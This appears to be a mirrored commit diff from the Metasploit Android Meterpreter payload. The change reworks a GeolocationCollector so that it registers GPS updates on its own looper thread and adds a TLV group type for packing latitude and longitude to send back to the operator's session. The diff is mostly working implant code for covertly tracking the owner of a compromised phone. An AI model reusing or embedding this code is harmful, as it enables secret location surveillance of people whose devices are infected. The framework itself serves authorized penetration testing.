mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
Added Run method for handling location manager callbacks
This commit is contained in:
parent
7a4f6cc824
commit
45f718a482
java/androidpayload/library/src/com/metasploit/meterpreter
@ -2,7 +2,7 @@ package com.metasploit.meterpreter;
|
|||||||
|
|
||||||
import com.metasploit.meterpreter.android.interval_collect;
|
import com.metasploit.meterpreter.android.interval_collect;
|
||||||
|
|
||||||
|
import android.app.Activity;
|
||||||
import android.content.Context;
|
import android.content.Context;
|
||||||
import android.location.Location;
|
import android.location.Location;
|
||||||
import android.location.LocationListener;
|
import android.location.LocationListener;
|
||||||
@ -15,147 +15,131 @@ import java.io.IOException;
|
|||||||
|
|
||||||
import java.lang.InterruptedException;
|
import java.lang.InterruptedException;
|
||||||
import java.lang.Math;
|
import java.lang.Math;
|
||||||
//import java.lang.string;
|
import java.lang.Override;
|
||||||
|
import java.lang.Runnable;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Hashtable;
|
import java.util.Hashtable;
|
||||||
|
|
||||||
//Logging
|
//Logging
|
||||||
|
import android.os.Handler;
|
||||||
|
import android.os.Looper;
|
||||||
import android.util.Log;
|
import android.util.Log;
|
||||||
|
|
||||||
//This class
|
//This class
|
||||||
public class GeolocationCollector extends IntervalCollector {
|
public class GeolocationCollector extends IntervalCollector implements Runnable {
|
||||||
|
|
||||||
private static final long MINIMUM_DISTANCE_CHANGE_FOR_UPDATES = 1; // in Meters
|
private static final long MINIMUM_DISTANCE_CHANGE_FOR_UPDATES = 1; // in Meters
|
||||||
private static final long MINIMUM_TIME_BETWEEN_UPDATES = 1000; // in Milliseconds
|
private static final long MINIMUM_TIME_BETWEEN_UPDATES = 1000; // in Milliseconds
|
||||||
|
|
||||||
|
|
||||||
private final Object syncObject = new Object();
|
private final Object syncObject = new Object();
|
||||||
protected LocationManager mLocationManager;
|
protected LocationManager mLocationManager;
|
||||||
public Location mLocationObj;
|
public Location mLocationObj;
|
||||||
public GeoModel mGeoModolObj = new GeoModel();
|
public GeoModel mGeoModolObj = new GeoModel();
|
||||||
private Hashtable<Long, List<GeoModel>> collections = null;
|
private Hashtable<Long, List<GeoModel>> collections = null;
|
||||||
List<GeoModel> mGeoTagList = new ArrayList<GeoModel>();
|
List<GeoModel> mGeoTagList = new ArrayList<GeoModel>();
|
||||||
|
public Handler handler;
|
||||||
|
|
||||||
private class GeoModel {
|
private class GeoModel {
|
||||||
|
|
||||||
public long mUnixEpoch;
|
public long mUnixEpoch;
|
||||||
public double mLatitude,mLongitude;
|
public double mLatitude,mLongitude;
|
||||||
private String Geolatsring,Geolongstring ;
|
private String Geolatsring,Geolongstring ;
|
||||||
|
|
||||||
public void setmUnixEpoch(){
|
public void setmUnixEpoch(){
|
||||||
mUnixEpoch = System.currentTimeMillis();
|
mUnixEpoch = System.currentTimeMillis();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLatitudeAndLong(Location location ){
|
public void setLatitudeAndLong(Location location ){
|
||||||
// mLatitude
|
// mLatitude
|
||||||
mLatitude = location.getLatitude();
|
mLatitude = location.getLatitude();
|
||||||
mLongitude = location.getLongitude();
|
mLongitude = location.getLongitude();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void write(DataOutputStream output) throws IOException {
|
public void write(DataOutputStream output) throws IOException {
|
||||||
// output.writeUTF(this.mUnixEpoch);
|
|
||||||
Geolatsring = Double.toString(this.mLatitude);
|
Geolatsring = Double.toString(this.mLatitude);
|
||||||
Geolongstring = Double.toString(this.mLongitude);
|
Geolongstring = Double.toString(this.mLongitude);
|
||||||
output.writeLong(this.mUnixEpoch);
|
output.writeLong(this.mUnixEpoch);
|
||||||
output.writeChars(Geolatsring);
|
output.writeChars(Geolatsring);
|
||||||
output.writeChars(Geolongstring);
|
output.writeChars(Geolongstring);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@Override
|
||||||
|
public void run(){
|
||||||
|
Looper.prepare();
|
||||||
|
handler = new Handler();
|
||||||
|
mLocationManager.requestLocationUpdates(
|
||||||
|
LocationManager.GPS_PROVIDER,
|
||||||
|
MINIMUM_TIME_BETWEEN_UPDATES,
|
||||||
|
MINIMUM_DISTANCE_CHANGE_FOR_UPDATES,
|
||||||
|
new MyLocationListener());
|
||||||
|
Looper.loop();
|
||||||
|
}
|
||||||
|
|
||||||
private class MyLocationListener implements LocationListener {
|
private class MyLocationListener implements LocationListener {
|
||||||
|
|
||||||
public void onLocationChanged(Location location) {
|
public void onLocationChanged(Location location) {
|
||||||
String message = String.format(
|
String message = String.format(
|
||||||
"New Location \n Longitude: %1$s \n Latitude: %2$s",
|
"New Location \n Longitude: %1$s \n Latitude: %2$s",
|
||||||
location.getLongitude(), location.getLatitude()
|
location.getLongitude(), location.getLatitude()
|
||||||
);
|
);
|
||||||
//Toast.makeText(GeoTagging.this, message, Toast.LENGTH_LONG).show();
|
|
||||||
Log.d("MyLocationListener","message ="+message);
|
Log.d("MyLocationListener","message ="+message);
|
||||||
|
|
||||||
mGeoModolObj.setmUnixEpoch();
|
mGeoModolObj.setmUnixEpoch();
|
||||||
mGeoModolObj.setLatitudeAndLong(location);
|
mGeoModolObj.setLatitudeAndLong(location);
|
||||||
mGeoTagList.add(mGeoModolObj);
|
mGeoTagList.add(mGeoModolObj);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void onStatusChanged(String s, int i, Bundle b) {
|
public void onStatusChanged(String s, int i, Bundle b) {
|
||||||
//Toast.makeText(GeoTagging.this, "Provider status changed",
|
|
||||||
// Toast.LENGTH_LONG).show();
|
|
||||||
Log.d("MyLocationListener","onStatusChanged ="+s +" : i= "+i);
|
Log.d("MyLocationListener","onStatusChanged ="+s +" : i= "+i);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void onProviderDisabled(String s) {
|
public void onProviderDisabled(String s) {
|
||||||
//Toast.makeText(GeoTagging.this,
|
|
||||||
// "Provider disabled by the user. GPS turned off",
|
|
||||||
// Toast.LENGTH_LONG).show();
|
|
||||||
Log.d("MyLocationListener","onProviderDisabled ="+s);
|
Log.d("MyLocationListener","onProviderDisabled ="+s);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void onProviderEnabled(String s) {
|
public void onProviderEnabled(String s) {
|
||||||
//Toast.makeText(GeoTagging.this,
|
|
||||||
// "Provider enabled by the user. GPS turned on",
|
|
||||||
// Toast.LENGTH_LONG).show();
|
|
||||||
Log.d("MyLocationListener","onProviderEnabled ="+s);
|
Log.d("MyLocationListener","onProviderEnabled ="+s);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public GeolocationCollector(int collectorId, Context context, long timeout) {
|
public GeolocationCollector(int collectorId, Context context, long timeout) {
|
||||||
super(collectorId, context, timeout);
|
super(collectorId, context, timeout);
|
||||||
this.collections = new Hashtable<Long, List<GeoModel>>();
|
this.collections = new Hashtable<Long, List<GeoModel>>();
|
||||||
mLocationManager = (LocationManager) AndroidMeterpreter.getContext()
|
mLocationManager = (LocationManager) AndroidMeterpreter.getContext()
|
||||||
.getSystemService(Context.LOCATION_SERVICE);
|
.getSystemService(Context.LOCATION_SERVICE);
|
||||||
mLocationManager.requestLocationUpdates(
|
|
||||||
LocationManager.GPS_PROVIDER,
|
|
||||||
MINIMUM_TIME_BETWEEN_UPDATES,
|
|
||||||
MINIMUM_DISTANCE_CHANGE_FOR_UPDATES,
|
|
||||||
new MyLocationListener()
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public GeolocationCollector(int collectorId, Context context) {
|
public GeolocationCollector(int collectorId, Context context) {
|
||||||
super(collectorId, context);
|
super(collectorId, context);
|
||||||
this.collections = new Hashtable<Long, List<GeoModel>>();
|
this.collections = new Hashtable<Long, List<GeoModel>>();
|
||||||
mLocationManager = (LocationManager) AndroidMeterpreter.getContext()
|
mLocationManager = (LocationManager) AndroidMeterpreter.getContext()
|
||||||
.getSystemService(Context.LOCATION_SERVICE);
|
.getSystemService(Context.LOCATION_SERVICE);
|
||||||
mLocationManager.requestLocationUpdates(
|
|
||||||
LocationManager.GPS_PROVIDER,
|
|
||||||
MINIMUM_TIME_BETWEEN_UPDATES,
|
|
||||||
MINIMUM_DISTANCE_CHANGE_FOR_UPDATES,
|
|
||||||
new MyLocationListener()
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void init() {
|
|
||||||
|
|
||||||
//if (this.receiver == null) {
|
|
||||||
// this.receiver = new LocationResultReceiver(this.context, this.getTimeout());
|
|
||||||
//}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
protected void init() {
|
||||||
|
}
|
||||||
|
|
||||||
protected void deinit() {
|
protected void deinit() {
|
||||||
|
|
||||||
//this.receiver = null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
protected boolean collect(DataOutputStream output) throws IOException {
|
protected boolean collect(DataOutputStream output) throws IOException {
|
||||||
//List<ScanResult> scanResults = this.receiver.runScan();
|
|
||||||
List<GeoModel> lGeoTagList = new ArrayList<GeoModel>();
|
List<GeoModel> lGeoTagList = new ArrayList<GeoModel>();
|
||||||
if (mGeoTagList != null) {
|
if (mGeoTagList != null) {
|
||||||
// List<WifiResult> results = new ArrayList<WifiResult>();
|
|
||||||
// for (ScanResult scanResult : scanResults) {
|
|
||||||
// results.add(new WifiResult(scanResult));
|
|
||||||
// }
|
|
||||||
|
|
||||||
synchronized (this.syncObject) {
|
synchronized (this.syncObject) {
|
||||||
this.collections.put(System.currentTimeMillis(), mGeoTagList);
|
this.collections.put(System.currentTimeMillis(), mGeoTagList);
|
||||||
|
|
||||||
// collect requires the result to be the serialised version of
|
// collect requires the result to be the serialised version of
|
||||||
// the collection data so that it can be written to disk
|
// the collection data so that it can be written to disk
|
||||||
output.writeLong(this.timeout);
|
output.writeLong(this.timeout);
|
||||||
@ -169,14 +153,14 @@ public class GeolocationCollector extends IntervalCollector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
protected void loadFromMemory(DataInputStream input) throws IOException {
|
protected void loadFromMemory(DataInputStream input) throws IOException {
|
||||||
this.timeout = input.readLong();
|
this.timeout = input.readLong();
|
||||||
int collectionCount = input.readInt();
|
int collectionCount = input.readInt();
|
||||||
for (int i = 0; i < collectionCount; ++i) {
|
for (int i = 0; i < collectionCount; ++i) {
|
||||||
@ -189,57 +173,53 @@ public class GeolocationCollector extends IntervalCollector {
|
|||||||
this.collections.put(ts, results);
|
this.collections.put(ts, results);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean flush(TLVPacket packet) {
|
public boolean flush(TLVPacket packet) {
|
||||||
Hashtable<Long, List<GeoModel>> collections = this.collections;
|
Hashtable<Long, List<GeoModel>> collections = this.collections;
|
||||||
synchronized (this.syncObject) {
|
synchronized (this.syncObject) {
|
||||||
// create a new collection, for use on the other thread
|
// create a new collection, for use on the other thread
|
||||||
// if it's running
|
// if it's running
|
||||||
this.collections = new Hashtable<Long, List<GeoModel>>();
|
this.collections = new Hashtable<Long, List<GeoModel>>();
|
||||||
}
|
}
|
||||||
|
|
||||||
List<Long> sortedKeys = new ArrayList<Long>(collections.keySet());
|
List<Long> sortedKeys = new ArrayList<Long>(collections.keySet());
|
||||||
Collections.sort(sortedKeys);
|
Collections.sort(sortedKeys);
|
||||||
|
|
||||||
for (Long ts : sortedKeys) {
|
for (Long ts : sortedKeys) {
|
||||||
long timestamp = ts.longValue();
|
long timestamp = ts.longValue();
|
||||||
List<GeoModel> GeolocResults = collections.get(timestamp);
|
List<GeoModel> GeolocResults = collections.get(timestamp);
|
||||||
|
|
||||||
TLVPacket resultSet = new TLVPacket();
|
TLVPacket resultSet = new TLVPacket();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
resultSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_TIMESTAMP, timestamp / 1000);
|
resultSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_TIMESTAMP, timestamp / 1000);
|
||||||
}
|
}
|
||||||
catch (IOException ex) {
|
catch (IOException e) {
|
||||||
// not good, but not much we can do here
|
Log.d("Geocollection Interval", Log.getStackTraceString(e.getCause().getCause()));
|
||||||
}
|
}
|
||||||
|
|
||||||
for (int i = 0; i < GeolocResults .size(); ++i) {
|
for (int i = 0; i < GeolocResults .size(); ++i) {
|
||||||
GeoModel result = GeolocResults .get(i);
|
GeoModel result = GeolocResults .get(i);
|
||||||
TLVPacket geolocationSet = new TLVPacket();
|
TLVPacket geolocationSet = new TLVPacket();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
geolocationSet.add(interval_collect.TLV_TYPE_GEO_LAT, result.mLatitude);
|
geolocationSet.add(interval_collect.TLV_TYPE_GEO_LAT, result.mLatitude);
|
||||||
geolocationSet.add(interval_collect.TLV_TYPE_GEO_LONG, result.mLongitude);
|
geolocationSet.add(interval_collect.TLV_TYPE_GEO_LONG, result.mLongitude);
|
||||||
// level is negative, but it'll be converted to positive on the flip side.
|
resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GEO, geolocationSet);
|
||||||
//geolocationSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL, Math.abs(result.getLevel()));
|
|
||||||
|
|
||||||
//resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GEO_LAT, geolocationSet);
|
|
||||||
//resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GEO_LONG, geolocationSet);
|
|
||||||
}
|
}
|
||||||
catch (IOException ex) {
|
catch (IOException e) {
|
||||||
// not good, but not much we can do here
|
Log.d("Geocollection Interval", Log.getStackTraceString(e.getCause().getCause()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
packet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GROUP, resultSet);
|
packet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GROUP, resultSet);
|
||||||
}
|
}
|
||||||
catch (IOException ex) {
|
catch (IOException e) {
|
||||||
// not good, but not much we can do here
|
Log.d("Geocollection Interval", Log.getStackTraceString(e.getCause().getCause()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -40,7 +40,9 @@ public class interval_collect implements Command {
|
|||||||
public static final int TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = wlan_geolocate.TLV_TYPE_WLAN_LEVEL;
|
public static final int TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = wlan_geolocate.TLV_TYPE_WLAN_LEVEL;
|
||||||
|
|
||||||
//TLV for Geolocation
|
//TLV for Geolocation
|
||||||
public static final int TLV_TYPE_GEO_LAT = TLVPacket.TLV_META_TYPE_STRING
|
public static final int TLV_TYPE_COLLECT_RESULT_GEO = TLVPacket.TLV_META_TYPE_GROUP
|
||||||
|
| (TLV_EXTENSIONS + 9022);
|
||||||
|
public static final int TLV_TYPE_GEO_LAT = TLVPacket.TLV_META_TYPE_STRING
|
||||||
| (TLV_EXTENSIONS + 9011);
|
| (TLV_EXTENSIONS + 9011);
|
||||||
public static final int TLV_TYPE_GEO_LONG = TLVPacket.TLV_META_TYPE_STRING
|
public static final int TLV_TYPE_GEO_LONG = TLVPacket.TLV_META_TYPE_STRING
|
||||||
| (TLV_EXTENSIONS + 9012);
|
| (TLV_EXTENSIONS + 9012);
|
||||||
|
Loading…
x
Reference in New Issue
Block a user